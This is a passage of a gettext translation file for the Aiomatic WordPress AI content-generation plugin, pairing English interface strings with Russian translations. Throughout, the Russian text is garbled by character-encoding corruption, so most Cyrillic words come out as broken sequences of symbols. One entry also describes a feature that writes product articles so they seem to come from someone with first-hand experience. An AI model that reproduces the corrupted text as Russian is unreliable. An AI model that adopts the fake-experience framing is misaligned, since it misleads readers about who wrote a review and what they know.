Ð³ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ð¸ большого количеÑтва ВопроÑов и Ответов на " "оÑнове вашего Контента. Соберите данные в Google Sheet Ñ Ð´Ð²ÑƒÐ¼Ñ Ñтолбцами и " "обÑзательно проÑмотрите и улучшите их. Ðабор данных должен Ñодержать не " "менее 500 Ñтрок, чтобы предлагать полезные результаты, и гораздо больше, " "еÑли вы хотите добитьÑÑ Ð»ÑƒÑ‡ÑˆÐ¸Ñ… результатов. СоглаÑно документации OpenAI, " "рекомендуетÑÑ Ð±Ð¾Ð»ÐµÐµ 3000 Ñтрок. Ðо в конечном итоге Ñто завиÑит от того, " "чего вы пытаетеÑÑŒ доÑтичь. ОбÑзательно выберите базовую модель, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð¹ " "вы хотите Ñоздать точную ÐаÑтройку, из раÑкрывающегоÑÑ ÑпиÑка «ОÑÐ½Ð¾Ð²Ð½Ð°Ñ " "модель», потому что на Ñтом шаге вы решаете, Ð´Ð»Ñ ÐºÐ°ÐºÐ¾Ð¹ модели вы хотите " "Ñоздать точную ÐаÑтройку Ñ Ð·Ð°Ð³Ñ€ÑƒÐ¶ÐµÐ½Ð½Ñ‹Ð¼Ð¸ данными. ОзнакомьтеÑÑŒ Ñ " "рекомендациÑми OpenAI по тонкой наÑтройке," #: res/image-seo/seo-panel.php:135 msgid "" "Here you will be able to automatically generate, using AI, the SEO meta " "fields for this image." msgstr "" "ЗдеÑÑŒ вы Ñможете автоматичеÑки генерировать Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI мета Ð¿Ð¾Ð»Ñ SEO Ð´Ð»Ñ " "Ñтого ИзображениÑ." #: res/aiomatic-spinner-list.php:856 msgid "Here, you can set up the conditions for automatic post editing:" msgstr "" "ЗдеÑÑŒ вы можете наÑтроить уÑÐ»Ð¾Ð²Ð¸Ñ Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñта:" #: res/aiomatic-shortcodes.php:371 msgid "Hide" msgstr "Скрыть" #: aiomatic-automatic-ai-content-writer.php:1438 msgid "Hide Tutorial Video" msgstr "Скрыть Обучающее Видео" #: res/aiomatic-main.php:6126 res/aiomatic-main.php:6134 #: res/aiomatic-main.php:6142 res/aiomatic-main.php:6150 #: res/aiomatic-main.php:6158 res/aiomatic-main.php:6166 msgid "High Quality - Paid" msgstr "Ð’Ñ‹Ñокое качеÑтво - Платно" #: res/other/plugin-dash.php:236 msgid "Highlighted" msgstr "Выделение текÑта" #: res/aiomatic-amazon-list.php:29 res/aiomatic-review-list.php:29 #: res/aiomatic-rules-list.php:29 res/aiomatic-single-list.php:29 #: res/aiomatic-single-list.php:167 res/aiomatic-youtube-list.php:29 msgid "Hindi" msgstr "хинди" #: res/aiomatic-languages.php:27 msgid "Hindi (Google Translate)" msgstr "Хинди (переводчик Google)" #: res/image-seo/seo-panel.php:40 #, php-format msgid "" "Hint: you can use the following shortcodes in this settings field: " "%%image_title%%, %%image_caption%%, %%image_alt%%, %%image_description%%, " "%%parent_title%%, %%parent_excerpt%%, %%parent_content%%, %%blog_title%%, " "%%random_sentence%%, %%random_sentence2%% + nested shortcodes also supported." msgstr "" "ПодÑказка: вы можете иÑпользовать Ñледующие короткие коды в Ñтом поле " "наÑтроек: %%image_title%%, %%image_caption%%, %%image_alt%%, " "%%image_description%%, %%parent_title%%, %%parent_excerpt%%, " "%%parent_content%%, %%blog_title%%, %%random_sentence%%, " "%%random_sentence2%% + также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды." #: res/aiomatic-logs.php:580 msgid "Hit this button and all posts generated by this plugin will be deleted!" msgstr "" "Ðажмите Ñту кнопку, и вÑе ПоÑÑ‚Ñ‹, Ñозданные Ñтим Плагином, будут удалены!" #: res/aiomatic-logs.php:596 msgid "Hit this button and all rules will be deleted!" msgstr "Ðажмите Ñту кнопку, и вÑе правила будут удалены!" #: res/aiomatic-logs.php:564 msgid "" "Hit this button and the plugin settings will be restored to their default " "values. Warning! All settings will be lost!" msgstr "" "Ðажмите Ñту кнопку, и ÐаÑтройки Плагина будут воÑÑтановлены до значений по " "умолчанию. Предупреждение! Ð’Ñе ÐаÑтройки будут потерÑны!" #: res/aiomatic-assistants.php:342 msgid "" "Hit this button and the plugin will create the default assistants which come " "bundled with the plugin." msgstr "" "Ðажмите Ñту кнопку, и плагин ÑоздаÑÑ‚ аÑиÑтентов по умолчанию, которые идут в " "комплекте Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼." #: res/aiomatic-shortcodes.php:466 msgid "" "Hit this button and the plugin will create the default forms which come " "bundled with the plugin." msgstr "" "Ðажмите Ñту кнопку, и Плагин ÑоздаÑÑ‚ формы по умолчанию, которые " "ПоÑтавлÑÑŽÑ‚ÑÑ Ð²Ð¼ÐµÑте Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð¾Ð¼." #: res/aiomatic-automation-list.php:2152 msgid "" "Hit this button and the plugin will create the default OmniBlock Templates " "which come bundled with the plugin." msgstr "" "Ðажмите Ñту кнопку, и плагин ÑоздаÑÑ‚ шаблоны OmniBlock по умолчанию, которые " "входÑÑ‚ в комплект поÑтавки плагина." #: res/aiomatic-chatbot.php:5662 msgid "" "Hit this button and the plugin will create the default personas which come " "bundled with the plugin." msgstr "" "Ðажмите Ñту кнопку, и плагин ÑоздаÑÑ‚ перÑонажей по умолчанию, которые идут в " "комплекте Ñ Ð¿Ð»Ð°Ð³Ð¸Ð½Ð¾Ð¼." #: res/aiomatic-assistants.php:327 msgid "Hit this button and you can backup the current assistants to file." msgstr "" "Ðажмите Ñту кнопку, и вы Ñможете Ñоздать резервную копию текущих помощников " "в файл." #: res/aiomatic-shortcodes.php:452 msgid "Hit this button and you can backup the current forms to file." msgstr "" "Ðажмите Ñту кнопку, и вы Ñможете Ñделать резервную копию текущих форм в файл." #: res/aiomatic-automation-list.php:2137 msgid "" "Hit this button and you can backup the current OmniBlock Templates to file." msgstr "" "Ðажмите Ñту кнопку, и вы Ñможете Ñоздать резервную копию текущих шаблонов " "OmniBlock в файл." #: res/aiomatic-chatbot.php:5647 msgid "Hit this button and you can backup the current personas to file." msgstr "" "Ðажмите Ñту кнопку, и вы Ñможете Ñделать резервную копию текущих перÑонажей " "в файл." #: res/aiomatic-assistants.php:271 msgid "Hit this button and you can restore assistants from file." msgstr "Ðажмите Ñту кнопку, и вы Ñможете воÑÑтановить аÑÑиÑтентов из файла." #: res/aiomatic-shortcodes.php:397 msgid "Hit this button and you can restore forms from file." msgstr "Ðажмите Ñту кнопку, и вы Ñможете воÑÑтановить формы из файла." #: res/aiomatic-automation-list.php:2081 msgid "Hit this button and you can restore OmniBlock Templates from file." msgstr "" "Ðажмите Ñту кнопку, и вы Ñможете воÑÑтановить шаблоны OmniBlock из файла." #: res/aiomatic-chatbot.php:5591 msgid "Hit this button and you can restore personas from file." msgstr "Ðажмите Ñту кнопку, и вы Ñможете воÑÑтановить перÑонажей из файла." #: res/aiomatic-amazon-list.php:80 res/aiomatic-review-list.php:80 #: res/aiomatic-rules-list.php:80 res/aiomatic-single-list.php:80 #: res/aiomatic-single-list.php:218 res/aiomatic-youtube-list.php:80 msgid "Hmong" msgstr "Хмонг" #: res/aiomatic-languages.php:80 msgid "Hmong (Google Translate)" msgstr "Хмонг (переводчик Google)" #: res/aiomatic-chatbot.php:3414 res/aiomatic-spinner-list.php:3634 msgid "Home entertainment system or smart TV" msgstr "ДомашнÑÑ Ñ€Ð°Ð·Ð²Ð»ÐµÐºÐ°Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ ÑиÑтема или Ñмарт-ТВ" #: res/aiomatic-logs.php:108 msgid "Home URL" msgstr "Домашний URL" #: res/aiomatic-logs.php:108 msgid "Home URL:" msgstr "Домашний URL:" #: res/aiomatic-main.php:8796 msgid "Horizontal" msgstr "Горизонтальный" #: res/aiomatic-spinner-list.php:862 msgid "" "How long to wait before editing new posts: Set a delay for the editing " "process. This could be useful if you want to review the posts yourself " "before they are automatically edited." msgstr "" "Как долго ждать перед редактированием новых ПоÑтов: УÑтановите задержку Ð´Ð»Ñ " "процеÑÑа редактированиÑ. Это может быть полезно, еÑли вы хотите проÑмотреть " "ПоÑÑ‚Ñ‹ ÑамоÑтоÑтельно, прежде чем они будут автоматичеÑки отредактированы." #: res/aiomatic-main.php:7627 msgid "How Many Times To Retry API Calls In Case Of API Failure:" msgstr "Сколько раз повторÑÑ‚ÑŒ вызовы API в Ñлучае ÑÐ±Ð¾Ñ API:" #: res/aiomatic-spinner-list.php:1317 res/aiomatic-spinner-list.php:1593 msgid "" "How much influence the init_image has on the diffusion process. Values close " "to 1 will yield images very similar to the init_image while values close to " "0 will yield images wildly different than the init_image. The behavior of " "this is meant to mirror DreamStudio's \"Image Strength\" slider. This " "parameter is just an alternate way to set step_schedule_start, which is done " "via the calculation 1 - image_strength. For example, passing in an Image " "Strength of 35% (0.35) would result in a step_schedule_start of 0.65." msgstr "" "ÐаÑколько Ñильно init_image влиÑет на процеÑÑ Ð´Ð¸Ñ„Ñ„ÑƒÐ·Ð¸Ð¸. При значениÑÑ…, " "близких к 1, получаютÑÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ, очень похожие на init_image, в то Ð²Ñ€ÐµÐ¼Ñ " "как при значениÑÑ…, близких к 0, Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÑƒÐ´ÑƒÑ‚ Ñильно отличатьÑÑ Ð¾Ñ‚ " "init_image. Поведение Ñтого параметра повторÑет ползунок DreamStudio \"Image " "Strength\". Этот параметр ÑвлÑетÑÑ Ð°Ð»ÑŒÑ‚ÐµÑ€Ð½Ð°Ñ‚Ð¸Ð²Ð½Ñ‹Ð¼ ÑпоÑобом уÑтановки " "step_schedule_start, который выполнÑетÑÑ Ñ‡ÐµÑ€ÐµÐ· вычиÑление 1 - image_strength." " Ðапример, при передаче параметра Image Strength 35% (0.35) значение " "параметра step_schedule_start будет равно 0.65." #: res/aiomatic-main.php:2644 msgid "" "How strictly the diffusion process adheres to the prompt text (higher values " "keep your image closer to your prompt). Default value is 7." msgstr "" "ÐаÑколько Ñтрого процеÑÑ Ñ€Ð°ÑпроÑÑ‚Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ ÑоответÑтвует текÑту Промпты (более " "выÑокие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð´ÐµÐ»Ð°ÑŽÑ‚ изображение ближе к подÑказке). Значение по " "умолчанию — 7." #: res/aiomatic-main.php:2520 msgid "" "How strongly the video sticks to the original image. Use lower values to " "allow the model more freedom to make changes and higher values to correct " "motion distortions." msgstr "" "ÐаÑколько Ñильно видео ÑоответÑтвует иÑходному изображению. ИÑпользуйте " "меньшие значениÑ, чтобы дать модели больше Ñвободы Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹, и " "большие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð»Ñ ÐºÐ¾Ñ€Ñ€ÐµÐºÑ†Ð¸Ð¸ иÑкажений движениÑ." #: res/aiomatic-shortcodes.php:112 msgid "How to get started with AI Forms?" msgstr "Как начать работу Ñ AI Формы?" #: res/aiomatic-main.php:4333 msgid "How to install PhantomJs?" msgstr "Как уÑтановить PhantomJs?" #: res/aiomatic-main.php:1585 msgid "" "How to use different features of the plugin? Like AI chatbot, AI content " "creator, AI Content Editor, AI Model Training, Embeddings, AI Forms and many " "more?" msgstr "" "Как иÑпользовать различные Функции Плагина? ÐравитÑÑ Ð§Ð°Ñ‚-бот AI, AI " "Создатель Контента , AI Редактор Контента , Обучение Модели AI, Ð’ÑтраиваниÑ, " "Формы AI и многое другое?" #: res/aiomatic-shortcodes.php:67 msgid "HTML" msgstr "HTML" #: res/aiomatic-amazon-list.php:4342 res/aiomatic-review-list.php:4495 #: res/aiomatic-rules-list.php:4731 res/aiomatic-youtube-list.php:4253 msgid "HTML Text To Append To AI Created Content" msgstr "ТекÑÑ‚ HTML Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому, Ñозданному AI" #: res/aiomatic-amazon-list.php:1768 res/aiomatic-review-list.php:1837 #: res/aiomatic-rules-list.php:1966 res/aiomatic-single-list.php:2415 #: res/aiomatic-single-list.php:3165 res/aiomatic-single-list.php:4418 #: res/aiomatic-single-list.php:5732 res/aiomatic-single-list.php:7098 #: res/aiomatic-youtube-list.php:1724 msgid "HTML Text To Append To AI Created Content:" msgstr "ТекÑÑ‚ HTML Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому, Ñозданному AI:" #: res/aiomatic-amazon-list.php:4332 res/aiomatic-review-list.php:4485 #: res/aiomatic-rules-list.php:4721 res/aiomatic-youtube-list.php:4243 msgid "HTML Text To Prepend To AI Created Content" msgstr "HTML-текÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿ÐµÑ€ÐµÐ´ Ñодержимым, Ñозданным AI" #: res/aiomatic-amazon-list.php:1753 res/aiomatic-review-list.php:1822 #: res/aiomatic-rules-list.php:1951 res/aiomatic-single-list.php:2400 #: res/aiomatic-single-list.php:3150 res/aiomatic-single-list.php:4403 #: res/aiomatic-single-list.php:5717 res/aiomatic-single-list.php:7083 #: res/aiomatic-youtube-list.php:1709 msgid "HTML Text To Prepend To AI Created Content:" msgstr "HTML-текÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº Ñодержимому, Ñозданному AI:" #: res/aiomatic-spinner-list.php:3732 msgid "HTML Text To Preppend Audio/Video:" msgstr "HTML-текÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð°ÑƒÐ´Ð¸Ð¾/видео:" #: res/aiomatic-amazon-list.php:30 res/aiomatic-main.php:8568 #: res/aiomatic-review-list.php:30 res/aiomatic-rules-list.php:30 #: res/aiomatic-single-list.php:30 res/aiomatic-single-list.php:168 #: res/aiomatic-youtube-list.php:30 msgid "Hungarian" msgstr "ВенгерÑкий Ñзык" #: res/aiomatic-languages.php:28 msgid "Hungarian (Google Translate)" msgstr "ВенгерÑкий (переводчик Google)" #: res/aiomatic-training.php:534 msgid "Hyper-params" msgstr "Гиперпараметр" #: res/aiomatic-main.php:1551 msgid "I am really excited to have you on board as a user!" msgstr "Я очень рад видеть Ð²Ð°Ñ Ð½Ð° борту в качеÑтве пользователÑ!" #: res/aiomatic-main.php:1551 msgid "I am the developer of the" msgstr "Ñ Ñ€Ð°Ð·Ñ€Ð°Ð±Ð¾Ñ‚Ñ‡Ð¸Ðº программы" #: res/aiomatic-main.php:7920 #, php-format msgid "" "I need to find highly relevant royalty-free images for an article heading, " "please extract a comma-separated list of the most relevant keywords from the " "heading, prioritizing specific references over general keywords. Add the " "highest priority to the most specific keyword that is still related to the " "main topic. By doing so, you can help me find more appropriate and targeted " "images for the article heading. The blog post heading title is: " "\"%%post_title%%\"." msgstr "" "Мне нужно найти очень релевантные беÑплатные Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð·Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ° " "Ñтатьи, пожалуйÑта, извлеките ÑпиÑок наиболее релевантных ключевых Ñлов, " "разделенных запÑтыми, из заголовка, Ð¾Ñ‚Ð´Ð°Ð²Ð°Ñ Ð¿Ñ€ÐµÐ´Ð¿Ð¾Ñ‡Ñ‚ÐµÐ½Ð¸Ðµ конкретным ÑÑылкам " "над общими ключевыми Ñловами. Добавьте наивыÑший приоритет к наиболее " "конкретному ключевому Ñлову, которое вÑе еще ÑвÑзано Ñ Ð¾Ñновной темой. Тем " "Ñамым вы поможете мне найти более подходÑщие и целевые Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ " "заголовка Ñтатьи. Заголовок ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ð² блоге: \"%%post_title%%\"." #: res/aiomatic-more.php:41 msgid "" "I'll also dive into how Aiomatic can enhance your scraped or news posts, " "ensuring that your content is always fresh, relevant, and engaging. Say " "goodbye to boring, uninspired content, and hello to Aiomatic!" msgstr "" "Я также раÑÑкажу о том, как Aiomatic может улучшить ваши Ñкрапленные " "новоÑтные поÑÑ‚Ñ‹ , гарантируÑ, что ваш контент вÑегда будет Ñвежим, " "актуальным и интереÑным. ПопрощайтеÑÑŒ Ñо Ñкучным, Ñкучным контентом и " "поприветÑтвуйте Aiomatic!" #: res/aiomatic-amazon-list.php:31 res/aiomatic-review-list.php:31 #: res/aiomatic-rules-list.php:31 res/aiomatic-single-list.php:31 #: res/aiomatic-single-list.php:169 res/aiomatic-youtube-list.php:31 msgid "Icelandic" msgstr "иÑландÑкий" #: res/aiomatic-languages.php:29 msgid "Icelandic (Google Translate)" msgstr "ИÑландÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:206 res/aiomatic-assistants.php:115 #: res/aiomatic-automation-list.php:2517 res/aiomatic-chatbot.php:2306 #: res/aiomatic-csv-list.php:68 res/aiomatic-embeddings.php:650 #: res/aiomatic-limits-statistics.php:688 #: res/aiomatic-limits-statistics.php:1414 res/aiomatic-main.php:9184 #: res/aiomatic-review-list.php:206 res/aiomatic-rules-list.php:206 #: res/aiomatic-spinner-list.php:4738 res/aiomatic-training.php:424 #: res/aiomatic-training.php:506 res/aiomatic-youtube-list.php:206 msgid "ID" msgstr "ID" #: aiomatic-ajax-actions.php:7860 res/aiomatic-shortcodes.php:27 msgid "ID*" msgstr "ID*" #: aiomatic-automatic-ai-content-writer.php:13870 #: res/aiomatic-automation-list.php:1232 res/aiomatic-automation-list.php:3699 #: res/aiomatic-automation-list.php:6462 msgid "ID:" msgstr "ID:" #: res/aiomatic-amazon-list.php:519 res/aiomatic-amazon-list.php:3117 #: res/aiomatic-single-list.php:4727 msgid "" "If enabled, the article will be written from a perspective that sometimes " "can make it sound like the writer has first-hand experience with the " "products." msgstr "" "ЕÑли Ñтот параметр включен, ÑÑ‚Ð°Ñ‚ÑŒÑ Ð±ÑƒÐ´ÐµÑ‚ напиÑана так, что может показатьÑÑ, " "что автор имеет непоÑредÑтвенный опыт работы Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð°Ð¼Ð¸." #: res/aiomatic-amazon-list.php:500 res/aiomatic-amazon-list.php:3098 #: res/aiomatic-single-list.php:4708 msgid "" "If enabled, the products will be shuffled, randomizing their order on each " "run." msgstr "" "ЕÑли включено, продукты будут перемешиватьÑÑ, Ñ€Ð°Ð½Ð´Ð¾Ð¼Ð¸Ð·Ð¸Ñ€ÑƒÑ Ð¸Ñ… порÑдок при " "каждом запуÑке." #: res/aiomatic-training.php:67 msgid "" "if not, you can start entering your data into the plugin. To avoid losing " "your work, this data is kept in your browser's local storage. This is " "actually complex, so learn how to write datasets by studying" msgstr "" "еÑли нет, вы можете начать вводить Ñвои данные в Плагин. Чтобы не потерÑÑ‚ÑŒ " "вашу работу, Ñти данные хранÑÑ‚ÑÑ Ð² локальном хранилище вашего браузера. Ðа " "Ñамом деле Ñто Ñложно, поÑтому научитеÑÑŒ пиÑать наборы данных, изучив" #: res/aiomatic-main.php:4928 msgid "" "If specified, the AI API will make a best effort to sample deterministically," " such that repeated requests with the same seed and parameters should return " "the same result. Determinism is not guaranteed, as changes can be made to " "the API in the backend, over longer periods of time." msgstr "" "ЕÑли указано, AI API приложит вÑе уÑÐ¸Ð»Ð¸Ñ Ð´Ð»Ñ Ð´ÐµÑ‚ÐµÑ€Ð¼Ð¸Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ð¾Ð¹ выборки, " "чтобы повторные запроÑÑ‹ Ñ Ð¾Ð´Ð½Ð¸Ð¼ и тем же начальным чиÑлом и параметрами " "возвращали один и тот же результат. Детерминизм не гарантируетÑÑ, поÑкольку " "Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² API на Ñерверной чаÑти могут быть внеÑены в течение более " "длительных периодов времени." #: res/aiomatic-training.php:64 msgid "" "if you alread have your data ready in the required format (JSONL file), you " "will be able to directly upload it to OpenAI. Be sure to select the base " "model for which you want to create a fine tune, from the 'Model Base' " "dropdown list, because you decide at this step for which model you want to " "create a fine tune with the uploaded data. To upload larger datasets, your " "WordPress maximum file upload size setting should be set to at least the " "file size you want to upload. You can follow" msgstr "" "еÑли у Ð²Ð°Ñ ÑƒÐ¶Ðµ еÑÑ‚ÑŒ готовые данные в требуемом формате (файл JSONL), вы " "Ñможете напрÑмую загрузить их в OpenAI. ОбÑзательно выберите базовую модель, " "Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ð¾Ð¹ вы хотите Ñоздать точную ÐаÑтройку, из раÑкрывающегоÑÑ ÑпиÑка " "«ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒÂ», потому что на Ñтом шаге вы решаете, Ð´Ð»Ñ ÐºÐ°ÐºÐ¾Ð¹ модели вы " "хотите Ñоздать точную ÐаÑтройку Ñ Ð·Ð°Ð³Ñ€ÑƒÐ¶ÐµÐ½Ð½Ñ‹Ð¼Ð¸ данными. Чтобы загружать " "большие наборы данных, ваш макÑимальный размер загружаемого файла WordPress " "должен быть уÑтановлен как минимум на размер файла, который вы хотите " "загрузить. Ð’Ñ‹ можете Ñледить" #: res/aiomatic-assistants.php:62 msgid "" "If you already have assistants created on OpenAI's platform, you can import " "these assistants, using the 'Import Assistants From OpenAI' button. All " "create assistants will appear in the plugin and will be able to be used." msgstr "" "ЕÑли у Ð²Ð°Ñ ÑƒÐ¶Ðµ еÑÑ‚ÑŒ помощники, Ñозданные на платформе OpenAI, вы можете " "импортировать Ñтих помощников, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ «Импортировать помощников из " "OpenAI». Ð’Ñе помощники по Ñозданию поÑвÑÑ‚ÑÑ Ð² плагине и их можно будет " "иÑпользовать." #: res/aiomatic-training.php:56 msgid "" "If you are looking for a quick way to customize the AI content writer and to " "teach it some info about your company, I suggest you check the" msgstr "" "ЕÑли вы ищете быÑтрый ÑпоÑоб наÑтроить модуль запиÑи Контента Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI " "и Ñообщить ему некоторую информацию о вашей компании, Ñ Ð¿Ñ€ÐµÐ´Ð»Ð°Ð³Ð°ÑŽ вам " "проверить" #: res/aiomatic-embeddings.php:48 msgid "" "If you are looking for more complex way to customize the AI content writer " "and to be able to \"teach\" the AI a large set of information (by creating " "your own fine-tuned model), I suggest you check the" msgstr "" "ЕÑли вы ищете более Ñложный ÑпоÑоб наÑтроить ÑредÑтво запиÑи Контента AI и " "иметь возможноÑÑ‚ÑŒ «обучить» AI большому набору информации (путем ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "ÑобÑтвенной тонко наÑтроенной модели), Ñ Ð¿Ñ€ÐµÐ´Ð»Ð°Ð³Ð°ÑŽ вам проверить" #: res/aiomatic-main.php:1610 msgid "" "If you are using a LiteSpeed web server, you might need to configure it to " "allow longer execution times of Aiomatic." msgstr "" "ЕÑли вы иÑпользуете веб-Ñервер LiteSpeed, вам может потребоватьÑÑ Ð½Ð°Ñтроить " "его, чтобы увеличить Ð²Ñ€ÐµÐ¼Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Aiomatic." #: res/aiomatic-main.php:7687 msgid "" "If you are using content editing which contain Chinese characters, you can " "try checking this checkbox." msgstr "" "ЕÑли вы иÑпользуете редактирование Контента, Ñодержащего китайÑкие Ñимволы, " "попробуйте уÑтановить Ñтот ЧекбокÑ." #: res/aiomatic-main.php:6353 msgid "" "If you check this checkbox, all prompts which are used in the plugin will be " "processed as they are, in a single bulk text block, regardless of new lines " "from their content. If the checkbox is unchecked, a random prompt will be " "selected at each run, from the entered prompt lines, based on new lines from " "the text (like this, you will be able to enter multiple prompts from which " "the plugin will select a random one at each run)." msgstr "" "ЕÑли вы уÑтановите Ñтот флажок, вÑе промпты, иÑпользуемые в плагине, будут " "обрабатыватьÑÑ ÐºÐ°Ðº еÑÑ‚ÑŒ, в одном текÑтовом блоке, незавиÑимо от новых Ñтрок " "в их Ñодержимом. ЕÑли флажок ÑнÑÑ‚, при каждом запуÑке будет выбиратьÑÑ " "Ñлучайный промпт из введенных Ñтрок промпта на оÑнове новых Ñтрок текÑта " "(таким образом вы Ñможете вводить неÑколько промптов, из которых плагин " "будет выбирать Ñлучайный при каждом запуÑке)." #: res/aiomatic-spinner-list.php:4016 msgid "" "If you checked the above checkbox to disable processing of custom post types," " you can define here a comma separated list of posts types which should " "still be process (excepted from skipping)." msgstr "" "ЕÑли вы уÑтановили флажок выше, чтобы отключить обработку пользовательÑких " "Типов ПоÑтов, вы можете определить здеÑÑŒ Разделенный запÑтыми ÑпиÑок Типов " "ПоÑтов, которые вÑе еще должны обрабатыватьÑÑ (иÑÐºÐ»ÑŽÑ‡Ð°Ñ Ð¿Ñ€Ð¾Ð¿ÑƒÑк)." #: res/aiomatic-main.php:7707 msgid "" "If you encounter issues while using the Single AI Post Creator Advanced Mode " "tab, check this checkbox." msgstr "" "ЕÑли у Ð²Ð°Ñ Ð²Ð¾Ð·Ð½Ð¸ÐºÐ»Ð¸ проблемы при иÑпользовании вкладки «РаÑширенный режим " "Single AI Post Creator», уÑтановите Ñтот флажок." #: res/aiomatic-main.php:1604 msgid "" "If you encounter slowdowns or a even a full halt in your content creation " "workflow, the problem could potentially come from Cloudflare." msgstr "" "ЕÑли вы ÑтолкнулиÑÑŒ Ñ Ð·Ð°Ð¼ÐµÐ´Ð»ÐµÐ½Ð¸ÐµÐ¼ или даже полной оÑтановкой рабочего " "процеÑÑа ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°, проблема может быть ÑвÑзана Ñ Cloudflare." #: res/aiomatic-main.php:5017 msgid "" "If you entered a list of images in the 'Default Featured Image List' " "settings field, you can set up the plugin to ask the AI to select the image " "which matches the best the title of the published post." msgstr "" "ЕÑли вы ввели ÑпиÑок изображений в поле наÑтроек «СпиÑок избранных " "изображений по умолчанию», вы можете наÑтроить плагин, чтобы попроÑить ИИ " "выбрать изображение, которое лучше вÑего ÑоответÑтвует заголовку " "опубликованного ÑообщениÑ." #: res/aiomatic-main.php:1612 msgid "If you need help getting started with Aiomatic, be sure to check out" msgstr "" "ЕÑли вам нужна помощь в начале работы Ñ Aiomatic, обÑзательно ознакомьтеÑÑŒ Ñ" #: res/aiomatic-main.php:1573 msgid "" "If you notice any slowdown or failure in content generation, it could be due " "to issues with the OpenAI API services. Please wait until their services are " "back to normal before attempting again." msgstr "" "ЕÑли вы заметили какое-либо замедление или Ñбой в Ñоздании Контента, Ñто " "может быть ÑвÑзано Ñ Ð¿Ñ€Ð¾Ð±Ð»ÐµÐ¼Ð°Ð¼Ð¸ Ñлужб OpenAI API. Прежде чем повторить " "попытку, подождите, пока их уÑлуги не вернутÑÑ Ð² нормальное ÑоÑтоÑние." #: res/aiomatic-main.php:2467 #, php-format msgid "" "If you selected a specific region in your Azure Microsoft account, you must " "enter it here. Learn more here. The default " "is global." msgstr "" "ЕÑли вы выбрали конкретный регион в Ñвоей учетной запиÑи Microsoft Azure, вы " "должны ввеÑти его здеÑÑŒ. Узнайте больше " "здеÑÑŒ . По умолчанию - глобальный." #: res/aiomatic-rules-list.php:404 #, php-format msgid "" "If you set a post topic here, the titles you entered in the 'Post Title " "List' settings field will not be considered and titles will be auto " "generated based on this topic! Be sure to edit the 'Title Prompt' settings " "from below to change the way titles will be created! Enter a post topic list," " one on each line. If you leave this field blank, the titles from entered in " "the 'Post Title List' settings field will be used. If you enter a value here," " new titles will be created, based on this topic and the values from the " "'Post Title List' will be overwritten. If you enter multiple topics (one per " "line), a random topic will be selected at each run. This will set the value " "of the %%topic%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "ЕÑли вы укажете тему ПоÑта здеÑÑŒ, Заголовки, которые вы ввели в поле " "ÐаÑтроек «СпиÑок Заголовоков ПоÑтов», не будут учитыватьÑÑ, а Заголовки " "будут автоматичеÑки Ñгенерированы на оÑнове Ñтой Темы! ОбÑзательно " "отредактируйте ÐаÑтройки «Заголовок» ниже, чтобы изменить ÑпоÑоб ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "Заголовоков! Введите ÑпиÑок Тем ПоÑтов, по одной в каждой Ñтроке. ЕÑли вы " "оÑтавите Ñто поле пуÑтым, будут иÑпользоватьÑÑ Ð—Ð°Ð³Ð¾Ð»Ð¾Ð²ÐºÐ¸, 